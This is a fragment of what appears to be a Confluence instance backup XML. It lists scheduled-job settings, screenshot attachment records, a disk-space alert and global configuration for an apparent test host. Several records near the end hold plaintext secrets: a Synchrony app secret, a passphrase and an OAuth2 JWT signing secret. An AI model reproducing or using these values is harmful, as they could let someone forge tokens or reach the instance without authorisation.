</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32883</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#confluenceDailyStatisticsPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32880</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98355</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-1.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-1.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262201</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262203</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262205</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262207</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32881</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98356</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-3.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-3.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262196</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262198</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262199</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262210</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32878</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#createBlueprintPageEntityCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32879</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#batchingJobConfig]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32876</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32877</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cleanupTrigger]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32874</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#summaryEmail]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98349</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[next.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[next.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262225</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262233</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262237</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32875</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98350</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step04-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262202</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262208</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262234</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262241</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32872</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#jira-metadata-cache-config]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98347</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[start.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[start.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262206</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262231</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262232</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32873</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#deletedInviteesCleanUpJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98348</id>
|
||||
<property name="hibernateVersion">20</property>
|
||||
<property name="title"><![CDATA[step06-image02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262215</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262216</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262217</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262221</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32870</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#flushEdgeIndexQueue]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98353</id>
|
||||
<property name="hibernateVersion">21</property>
|
||||
<property name="title"><![CDATA[step06-image01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262218</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262219</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262220</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262261</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32871</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#conversionQueueMonitor]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98354</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step05-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262266</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262267</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262268</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262269</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32868</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#addonHouskeeperTrigger-v2]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98351</id>
|
||||
<property name="hibernateVersion">9</property>
|
||||
<property name="title"><![CDATA[step05-03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262245</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262257</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262263</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262264</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32869</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#purgeHistoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98352</id>
|
||||
<property name="hibernateVersion">8</property>
|
||||
<property name="title"><![CDATA[step04-02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262251</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262252</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262253</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262272</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32834</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_id]]></property>
|
||||
<property name="value"><![CDATA[<string>Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32835</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_secret]]></property>
|
||||
<property name="value"><![CDATA[<string>ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32832</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..logged_base_analytics_data]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32833</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-update]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>com.atlassian.migration.agent</string>
|
||||
<string>com.atlassian.troubleshooting.plugin-confluence</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32830</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_base_url]]></property>
|
||||
<property name="value"><![CDATA[<string>http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32831</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_passphrase]]></property>
|
||||
<property name="value"><![CDATA[<string>BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32828</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="AlertEntityImpl" package="com.atlassian.confluence.internal.diagnostics.persistence.dao.hibernate">
|
||||
<id name="id">720897</id>
|
||||
<property name="detailsJson"><![CDATA[{"freeInMegabytes":144,"totalInMegabytes":4160,"minimumInMegabytes":256}]]></property>
|
||||
<property name="issueComponentId"><![CDATA[OS]]></property>
|
||||
<property name="issueId"><![CDATA[OS-1001]]></property>
|
||||
<property name="issueSeverity" enum-class="Severity" package="com.atlassian.diagnostics">WARNING</property>
|
||||
<property name="nodeName"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="nodeNameLower"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="timestampUtc">1699509909923</property>
|
||||
<property name="triggerModule"/><property name="triggerPluginKey"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginKeyLower"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginVersion"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32829</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32826</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32827</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32824</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32825</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32822</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-plugin.request]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32823</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..analytics_enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32820</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.oauth2.provider.jwt.secret]]></property>
|
||||
<property name="value"><![CDATA[<string>385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32821</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-edition.mismatch]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32850</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushContentIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
